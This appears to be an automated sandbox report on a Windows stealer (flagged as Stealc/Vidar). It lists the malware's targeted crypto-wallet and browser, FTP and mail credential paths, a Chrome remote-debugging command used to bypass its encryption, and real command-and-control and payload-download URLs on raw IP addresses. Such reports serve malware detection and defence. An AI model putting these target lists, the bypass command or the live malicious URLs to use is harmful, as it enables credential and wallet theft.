Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2592090534.00000000003DC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2000, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2593928893.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2077095798.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2592090534.0000000000311000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2000, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2000, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0C40 sqlite3_bind_zeroblob,	0_2_6C6F0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0D60 sqlite3_bind_parameter_name,	0_2_6C6F0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618EA0 sqlite3_clear_bindings,	0_2_6C618EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6F0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616410 bind,WSAGetLastError,	0_2_6C616410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616070 PR_Listen,	0_2_6C616070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C61C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C030 sqlite3_bind_parameter_count,	0_2_6C61C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6160B0 listen,WSAGetLastError,	0_2_6C6160B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22D0 sqlite3_bind_blob,	0_2_6C5A22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6163C0 PR_Bind,	0_2_6C6163C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe09078001	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll8	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeem32	0%	Avira URL Cloud	safe
http://31.41.244.11//Zu7JuNko/index.php	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b31	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe50623oded	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exe/=	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	3.160.188.18	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555728972&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555729006&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555729989&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555730556&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://c.msn.com/c.gif?rnd=1732555723259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a424a4266fd6446fa9509a4e2b847ee6&activityId=a424a4266fd6446fa9509a4e2b847ee6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5A297632BA2E4052A243C3E0B8EBA7FF&MUID=1C9027A36A1F6A1B109A32E16B066B17	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555729985&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732555723260&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C9027A36A1F6A1B109A32E16B066B17&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	false		high
http://31.41.244.11/files/random.exe09078001	skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_464.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://ntp.msn.com/0	000003.log8.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	false		high
https://www.last.fm/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll8	file.exe, 00000000.00000002.2593928893.0000000001008000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://31.41.244.11/files/random.exe1	skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://31.41.244.11/	skotes.exe, 00000019.00000002.3313577372.00000000015DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeem32	skotes.exe, 00000019.00000002.3313577372.000000000159B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.instagram.com	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://www.messenger.com	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://www.deezer.com/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://185.215.113.206lfons	file.exe, 00000000.00000002.2592090534.00000000003C5000.00000040.00000001.01000000.00000003.sdmp	false		high
https://web.telegram.org/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://vibe.naver.com/today	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp, FCAAAAFB.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php6	file.exe, 00000000.00000002.2620944238.00000000236CE000.00000004.00000020.00020000.00000000.sdmp	false		high
